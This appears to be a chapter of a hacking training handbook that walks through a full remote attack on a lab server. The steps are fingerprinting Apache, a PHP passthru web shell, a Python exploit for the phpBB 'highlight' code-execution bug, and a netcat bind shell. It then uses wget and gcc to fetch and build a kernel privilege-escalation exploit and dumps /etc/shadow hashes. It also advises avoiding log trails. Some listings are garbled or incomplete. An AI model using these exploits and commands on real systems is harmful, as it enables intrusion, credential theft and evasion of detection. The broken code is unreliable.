Practical Examples of Remote Attacks
Practical Examples of Remote Attacks
Practical Examples of Remote Attacks
Chapter 7
In the following chapter you will learn and see the practical side of
conducting the remote attack on applications. For this purpose we will use
the program that we write by ourselves in Python language.
Those programs, called exploits, are divided into remote and local. Remote
exploits are those that enable us to gain access to a server without having a
local account on it. Local exploits work by increasing privileges when we
already have an account on a specific server.
Driven by curiosity, we will try to perform an attack with the use of a remote
exploit. Our exploit will allow us to increase the privileges and take control
over a vulnerable application.
All you need is to start up your browser and go to the address given below.
Training system has been configured in a such way to let you conduct
experiments without having to install additional software. Carrying out the
experiments outside the test environment is prohibited (see Introduction and
Legal notice at the beginning of the manual).
http://localhost
Collecting information
Let’s assume that the name of the server to attack is “localhost.” Of course we
all know that “localhost” in reality means the machine on which we work.
The first thing we should do is to scan the services working on this server.
Practical examples of remote attacks 112
The reader can find detailed information on scanners in a later chapter of this
handbook. We will now see what this scanning should look like:
HTTP/1.1 200 OK
Date: Sun, 06 Jun 2010 17:21:01 GMT
Server: Apache/2.0.52 (Unix) mod_python/3.1.3 Python/2.3.4 PHP/5.0.2
Connection: close
Content-Type: text/html
Practical examples of remote attacks 113
The version of the WWW server is Apache/2.0.52. It has also the following
modules installed: mod_python/3.1.3 Python/2.3.4 PHP/5.0.2. We cannot,
unfortunately, easily determine the version of the database and of the X
server. Therefore, we have to make do with the knowledge that they are there
without knowing the version.
We know the versions of some of the current service servers. Now we can
create an overview of the internet resources in terms of gaps in this software.
It is best to start searching from search engines such as:
http://www.packetstormsecurity.org
http://www.google.com
http://securityfocus.com/archive/1
This list contains reports about the majority of errors in software. Using the
search tool included on the page we can check quickly if a specific version of
the software is susceptible to error.
<?
passthru($_GET['cmd']);
?>
http://localhost/Chapter 07/insecure.php?cmd=uname -a
Linux top 2.6.26 #1 Sun Jun 6 15:55:20 CEST 2010 i686 GNU/Linux
The passthru() function (as well as those with similar effects, such as exec(),
system(), and shell_exec()) can, of course, be blocked in the PHP
configuration. As standard, however, these functions are available to every
user. An erroneous script, when combined with the laziness of the
administrator, constitutes a serious risk for a system security.
We will thus now go to the page of the host being attacked. It happens to be a
big entertainment portal, with galleries, a news system, and discussion forums
– and of course, all of it is executed using PHP. As we did with services, we
have to check the exact versions of these scripts. Let’s assume that the author
of the gallery and the news system is the page author himself. Writing this
type of script does not involve a lot of work, and he probably decided to do it
himself. Thus, we do not have access to the source code of the script and it
will be difficult to determine if it contains any errors. We shall instead direct
our attention to the forum. It is a very common board, “phpBB,” used by
millions of websites on the internet. On the very bottom of the forum we see
the line:
This is a quite recent version of the script. We can still have a look at the
“BugTraq” list, as there is still a chance we might find something interesting.
We search for the text “phpBB” in it. Skipping past insignificant errors such
as cross-site scripting, we are suddenly delighted to discover the following:
http://www.securityfocus.com/archive/1/380993/2004-11-07/2004-11-13/0
We know that on the server under attack there is an error in the form of a
PHP script. Now we can look in the network for an available exploit code or
choose a more ambitious way by writing an exploit ourselves. Of course,
ambitious beginning hackers will always choose the more difficult way, just
for the fun of learning how to do it. We will thus try to take advantage of the
error in the phpBB by ourselves.
Exploits are created in exactly the same way as every other program. They are
written in a specific programming language. Ours is no exception. The
majority of exploits are written in C, which is a very old language, but is still
considered by many to be the best due to its performance. Each system in the
Unix family contains a C compiler, making the exploits written with it
transferable. This means that they can be run on different computers. C is,
Practical examples of remote attacks 116
Exploits written in the Python language are rare. But it lends itself perfectly to
our task. Python is certainly slower than C, but this is not the highest priority
in writing exploits. It is important that the code is concise and brings about
the required result. We have chosen Python, so let’s take a closer look at this
language.
ConnectWithFTP("ftp.ftpserver.com")
LoginToFTP("login", "password")
ListDirectory()
UploadFileToFTP("file.txt")
CloseConnection()
As the reader can already guess, Python is a script language, so to run the
code written in it we have to equip ourselves with a program to interpret the
Python code. This is, unsurprisingly, a program called “python.” It is
included in each new distribution, and can also can be downloaded from the
website:
http://www.python.org
Since we already have the python program we will now check how it works:
bash-2.05b$ python
Python 2.3.4 (#1, Jun 6 2010, 16:48:38)
[GCC 3.3.4 (PLD Linux)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
After starts the Python language shell appears. Just as the bash shell we have
frequently used understands the commands of the Bash language, the python
shell interprets the Python code. Let’s try to write a simple script that will
display the phrase “Hello world!” on the screen:
Easy, isn’t it? Users of the C language will notice just how many fewer
operations are required to print the information to the screen. A compiled
language does not share this simplicity.
We will now try to program a more advanced script. It will be used to sort
elements in a table:
In order to sort the table containing the character sequences, one command –
“table.sort()” – is enough. We do not have to worry about the performance of
this operation. We do not care which algorithm has been used for sorting. A
significant number of professional developers work using Python, and would
not do so if there were a better alternative available.
Python offers the ability to run scripts outside its shell. It is enough to save
the script code on a disk and to give it as parameter of the python program.
We can add the information to the top of the script that it is a python script,
which gives it execution rights so it can run just like any other program. Let’s
have a look at the script below: It shows the function of the “for” loop, the
structure of which is slightly different than in other programming languages
(/CD/Chapter7/Listings/script.py).
#!/usr/bin/env python
We will now save this code as “script.py.” We have included line indicating
that this is an executable Python program at the top. We can therefore try to
execute it:
As we can see, using this language, even for someone without prior
programming experience, should not present a problem. We have said that
the Python language presents us with vast opportunities. But there’s nothing
extraordinary about sorting tables or printing text. The real power of Python
is hidden in its modules.
Python modules
bash-2.05b$ python
Python 2.3.4 (#1, Jun 7 2010, 16:48:38)
[GCC 3.3.4 (PLD Linux)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import ftplib
Practical examples of remote attacks 120
No error occurred, so the connection has been made. We have created a new
object, “conn,” which establishes our connection. Of course, instead of
“ftp.ftpserver.com” we should enter the ftp server address where we have an
account.
>>> dir(conn)
['__doc__', '__init__', '__module__', 'abort', 'acct', 'af', 'close', 'connect', 'cwd',
'debug', 'debugging', 'delete', 'dir', 'file', 'getline', 'getmultiline', 'getresp',
'getwelcome', 'host', 'lastresp', 'login', 'makepasv', 'makeport', 'mkd', 'nlst',
'ntransfercmd', 'passiveserver', 'port', 'putcmd', 'putline', 'pwd', 'quit', 'rename',
'retrbinary', 'retrlines', 'rmd', 'sanitize', 'sendcmd', 'sendeprt', 'sendport',
'set_debuglevel', 'set_pasv', 'size', 'sock', 'storbinary', 'storlines', 'transfercmd',
'voidcmd', 'voidresp', 'welcome']
>>>
We notice the obvious “login” field. We therefore attempt to log into the ftp
server using this function.
We are now logged in. Now, for example, we can list the current directory,
ListDirectory():
>>> conn.dir()
-rw-r--r-- 1 wwwuser kra 668 Nov 13 22:02 exec
-rw-r--r-- 1 wwwuser kra 669 Nov 13 22:04 exec.php
>>>
Next, we upload the file named “file.txt” to the server. First we have to open
the file and then copy its content.
Practical examples of remote attacks 121
After copying the file we can terminate the connection with the command:
>>> conn.close()
Programming this operation in the C language would take several hours, but
using Python it can be written in a few seconds. We treat the “ftplib” module
as an object whose content does not interest us. It gives us only the names of
the functions that enable us to perform operations in its internal code. The
actual communication method with the FTP server is unknown to us. This
approach to programming saves time in many ways and is becoming more
and more common.
The short overview of Python in this chapter is not able to describe all its
capabilities. A description of the language itself as well as of individual
modules can be found on the following webpage:
http://docs.python.org/tut/
Writing an exploit
Let’s assume that we already know the programming language that we will
use for writing our exploit well enough. It is time to stop and think how our
exploit will work and what we want to achieve.
Practical examples of remote attacks 122
The error is located in the phpBB discussion forum. The forum belongs to a
certain website. Therefore, we have to access this website in some way in
order to transfer our modified parameter “highlight” to the viewtopic.php
script. For this task we will use the “urllib” Python module. This allows us to
start HTTP and FTP connections. Then the exploit should receive command-
line arguments, which will be:
bash-2.05b$ python
Python 2.3.4 (#1, Jun 7 2010, 16:58:38)
[GCC 3.3.4 (PLD Linux)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib
At the beginning we load the module enabling the connection with the page
under attack.
Next we load the variables. The forum with the error is located on the
“localhost” server in the “forum” folder. The current topic has number 1. The
command we want to execute is “uname –a.” When we manage to write an
exploit in the shell, we will transfer it to a file, which will download these data
from the user.
>>> url = host
Practical examples of remote attacks 123
The url variable will be the address that we want to run. Here we assign it a
link to the forum.
Now, within the address, we send the command to be executed. This will be
the value of the “cmd” variable. The urllib.quote() function converts all
special characters into ones that can be read by the www server. So our
command will be:
Thanks to the words “BEGIN” and "END" we are now able to define the
location of the command result that will appear on the page. We simply cut
out what is between them.
At the end we transfer the most important part of the address, the value of the
“highlight” variable. Because of this, our php code “passthru($_GET[cmd])”
will be executed on the server. As we know, it will activate the command
previously sent. The dots before and after our code are necessary, because this
code is pasted to our SQL query. Without them the script would not have
executed, but would only have returned an error.
Practical examples of remote attacks 124
We now have the target address, and it is a simple matter to open it.
As we can probably guess, the urlopen() function from the “urllib” library is
used to open a specific address. It also returns the result received from the
www server. There is nothing more for us to do but take the command result
from the page.
>>> print = 0
>>>
>>> for line in data.readlines():
... if line.find("END")!= -1:
... print = 0
... print "~~~~~~~~~~ END ~~~~~~~~~~"
... break
... if line.find("BEGIN")!= -1:
... print = 1
... print "~~~~~~~~~~ RESULT ~~~~~~~~~~"
... continue
... if print:
... line = line.replace("\n", "")
... print line
This loop repeats as many times as there are lines in the returned page. The
data.readlines() function returns a table in which all lines are included. We
therefore need to go through them and print only the result of our command.
Here the inscriptions “BEGIN” and “END” that we have been printing will be
useful. When we come across the line that includes the “BEGIN” chain we
will set the value of the “print” variable to one. This is a sign for the loop that
it is time to print the read data because it is the result of our operation. Then
when the loop meets the line with “END” it ends its operation. At this point
the program deletes all the characters of the new line from the line to be
printed, using the line.replace() function. It allows us to achieve a more
compact result on the screen. As we can see our shell exploit has worked
perfectly. It would, however, be better to transfer the information about the
system under attack, the command, and the topic number to the script as
arguments. To do this we will use the “sys” Python module. This has a table
Practical examples of remote attacks 125
with the name “argv” (familiar to users of the C language) that contains all
transferred arguments.
Below is a file version of the exploit that we have written in the shell
(/CD/Chapter7/Listings/exploit.py):
#!/usr/bin/env python
import urllib
import sys
host = sys.argv[1]
numer = sys.argv[2]
command = sys.argv[3]
url = host
url += "/viewtopic.php?t="
url += numer
url += "&cmd="
url += urllib.quote("echo BEGIN; %s; echo END"%command)
url += "&highlight=%2527"
url += urllib.quote(".passthru($_GET[cmd]).")
url += "%2527"data = urllib.urlopen(url)
print = 0
We will save the exploit under the name “exploit.py” and will give it
execution rights:
Armed with this information we can obtain full access to the forum database,
and possibly also to the entire server database (depending on the
configuration).
There can be many pages on the server under attack. It is therefore worth
looking through the configuration files of the Apache server in search of
interesting addresses. Frequent use of this exploit is, however, not a good
idea. Each startup leaves a trail in the form of logs saved on the server to
which we connected. It would be good to have the ability to freely execute
commands without leaving unnecessary evidence behind after a single use of
our exploit. The best tool for this task is the NetCat (nc) program.
Practical examples of remote attacks 127
http://netcat.sourceforge.net
Operating on the console of the local system we will now try to run NetCat
with the following parameters:
It will be listening to (-1) on the port (-p) 12345. After connecting to it, it will
send the operation to the program “/bin/bash”; that is, to the user shell.
Now, on the second console we can connect to the localhost on the port
12345 and perform any bash commands:
We can repeat exactly the same operation on the machine under attack using
exploit. If it does not contain the NetCat program, we can copy it there using
wget.
We, however, know that the “nc” program is installed on the server under
attack. There is therefore no need to download it. As a result, we will limit
ourselves to the request:
Now, we can perform any number of requests, without leaving a trace in the
www server register. We are operating as a regular user with rights to use
only the web server. We therefore do not have access to all the files:
cat /etc/shadow
cat: /etc/shadow: No access
As we know, the encrypted user passwords are located in the /etc/shadow file.
Only the system administrator has access to this. Therefore we have to
become an administrator to obtain full access to the server. Executing the
“uname -a” command we will learn which kernel version is running on it – it
turns out to be 2.4.22. The system kernel runs under administrator privileges,
so if there were an error, we could in theory gain these privileges. Version
2.4.22 is relatively old and contains many bugs. After looking around briefly,
we find what we want:
http://packetstormsecurity.org/0312-exploits/hatorihanzo.c
wget http://www.packetstormsecurity.org/0312-exploits/hatorihanzo.c
gcc -o hatorihanzo hatorihanzo.c -static
./hatorihanzo
The exploit takes advantage of an error in the system managing the core
memory. It allocates large memory areas. So we have to wait a little bit before
we receive any satisfactory results. After several seconds we can give the
request “id”:
id
uid=0(root) gid=0(root)
Practical examples of remote attacks 129
In this way we gain full access to the server. Let’s check to be sure:
cat /etc/shadow
root:$1$vG8imyet$45azcsFq/ROkspXd2jYe0/:12697:0:99999:5:::
bin:*:12669:0:99999:5:::
daemon:*:12669:0:99999:5:::
sync:*:12669:0:99999:5:::
shutdown:*:12669:0:99999:5:::
halt:*:12669:0:99999:5:::
mail:*:12669:0:99999:5:::
sshd:!!:12669:0:99999:5:::
postgres:$1$cavmcchv$t4eb.HsHYAdMyHZdIXDZM0:12669:0:99999:5:::
user1:$1$TWLYuXv4$v5wd3GCV58TZxUAxdGxWZ1:12670:0:99999:5:::
user2:$1$a2s5oeiP$VGsFWZhZjWw3CTF0cxh9S1:12705:0:99999:5:::
user3:$1$l4S19c1u$h.LNd.mNl9GezrPhUjdFA.:12681:0:99999:5:::
We have proved to ourselves that we are able to crack our local server. We
can be proud of ourselves. We have learned the basics of the Python language,
we have written our own fully functioning exploit taking advantage of an
error in the software, and, most importantly, we are now able to take
advantage of buffer overflow errors with success. We can now move on to the
next chapter of the handbook.
130